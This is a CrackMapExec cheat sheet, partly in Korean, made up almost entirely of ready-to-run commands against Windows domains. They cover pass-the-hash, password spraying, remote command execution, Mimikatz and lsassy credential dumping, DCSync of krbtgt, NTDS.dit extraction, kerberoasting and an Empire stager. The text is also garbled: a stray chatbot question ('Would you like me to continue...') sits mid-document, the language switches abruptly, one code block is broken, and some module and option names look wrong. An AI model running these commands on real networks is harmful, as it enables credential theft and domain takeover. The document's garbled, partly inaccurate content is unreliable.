콘텐츠로 이동

CrackMapExec 치트 시트

개요

CrackMapExec (CME)는 Windows/Active Directory 환경에서 침투 테스트 및 레드팀 작업을 위해 설계된 사후 익스플로이트 도구입니다. 네트워크 침투 테스트를 위한 “스위스 아미 나이프”로 설명되며, 여러 프로토콜에 걸쳐 열거, 자격 증명 테스트 및 명령 실행을 허용합니다.

⚠️ 경고: CrackMapExec은 명시적 허가가 있는 환경에서만 사용해야 하는 보안 테스트 도구입니다.

설치

pipx 사용 (권장)

# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath

# Install CrackMapExec
pipx install crackmapexec

Kali Linux에서

sudo apt update
sudo apt install -y crackmapexec

GitHub에서

git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install

Docker 사용

docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec

기본 사용법

일반 구문

crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]

지원되는 프로토콜

  • smb: 서버 메시지 블록
  • winrm: Windows 원격 관리
  • ldap: 경량 디렉터리 액세스 프로토콜
  • mssql: Microsoft SQL 서버
  • ssh: 보안 셸
  • rdp: 원격 데스크톱 프로토콜
  • ftp: 파일 전송 프로토콜

대상 지정

# Single target
crackmapexec smb 192.168.1.100

# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101

# IP range
crackmapexec smb 192.168.1.1-255

# CIDR notation
crackmapexec smb 192.168.1.0/24

# From file
crackmapexec smb targets.txt

인증 방법

사용자 이름 및 비밀번호

# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'

# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'

# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'

# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

패스-더-해시

# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'

# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt

로컬 인증

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth

도메인 인증

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN

SMB 프로토콜 명령

기본 열거

# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares

# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users

# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups

# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

명령 실행

Would you like me to continue with the remaining sections or placeholders?```bash

Execute command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -x ‘whoami’

Execute PowerShell command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -X ‘$PSVersionTable’


### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'

# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt

# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'

WinRM Protocol Commands

Basic Enumeration

# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'

Command Execution

# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'

# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'

LDAP Protocol Commands

Basic Enumeration

# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain

# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers

# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts

Advanced Enumeration

# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description

# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation

# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate

# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt

# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt

MSSQL Protocol Commands

Basic Enumeration

# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'

# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'

Command Execution

# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'

# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'

Module Usage

Module Management

# List available modules
crackmapexec <protocol> --list-modules

# Get module options
crackmapexec <protocol> -M <module> --options

# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2

Common Modules

Mimikatz

# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'

# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'

# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'

Empire

# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http

PowerView

# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'

BloodHound

# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All

Lsassy

# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy

Enum_DNS

# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns

GOAD

# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad

Advanced Techniques

Password Spraying

# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'

# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt

# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10

Credential Harvesting

# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam

# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa

# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds

Database Operations

Initialize Database

crackmapexec smb 192.168.1.0/24 --database

View Database

# List hosts
crackmapexec smb --database -L

# List credentials
crackmapexec smb --database -C

# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1

Common Options

옵션설명
-h, --help도움말 메시지를 표시하고 종료
-t THREADS동시 스레드 수 설정 (기본값: 100)
--timeout TIMEOUT연결에 대한 타임아웃 설정 (기본값: 5초)
--verbose자세한 출력 활성화
--debug디버그 출력 활성화
--continue-on-success성공 후에도 인증 시도를 계속합니다
--no-bruteforce무차별 대입 공격 금지, 제공된 자격 증명만 사용
--fail-limit LIMIT호스트에서 포기하기 전의 로그인 실패 시도 횟수
--jitter JITTER인증 시도 사이에 임의의 지연 시간 추가 (초 단위)
--local-auth도메인 대신 로컬 계정을 사용하여 인증
-d, --domain DOMAIN인증할 도메인
--no-output출력을 표시하지 마세요
--output-file FILE파일에 출력 쓰기
--log파일에 로깅 활성화 (기본값: ~/.cme/logs/)
옵션설명
--shares사용 가능한 공유 목록
--sessions활성 세션 목록
--disks디스크 목록
--loggedon-users로그온한 사용자 목록
--users도메인 사용자 목록
--groups도메인 그룹 나열
--local-groups로컬 그룹 나열하기
--pass-pol비밀번호 정책 가져오기
--rid-brute [MAX_RID]RID를 무차별 대입하여 사용자 열거하기
--samSAM 해시 덤프하기
--lsaLSA 비밀 덤프
--ntdsNTDS.dit 덤프
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\}명령 실행 방법
옵션설명
--users도메인 사용자 목록
--groups도메인 그룹 나열
--computers도메인 컴퓨터 목록
--domain도메인 정보 가져오기
--pass-pol비밀번호 정책 가져오기
--trusts도메인 트러스트 가져오기
--asreproast [OUTFILE]AS-REP 로스팅 가능한 사용자 가져오기
--kerberoasting [OUTFILE]Kerberoast 가능한 사용자 가져오기
--trusted-for-delegation무제한 위임을 가진 사용자/컴퓨터 가져오기
--allowed-to-delegate제한된 위임이 있는 사용자/컴퓨터 가져오기
옵션설명
--port [PORT]WinRM 포트 (기본값: 5985)
--sslWinRM에 SSL 사용
옵션설명
--port [PORT]MSSQL 포트 (기본값: 1433)
-q QUERYSQL 쿼리 실행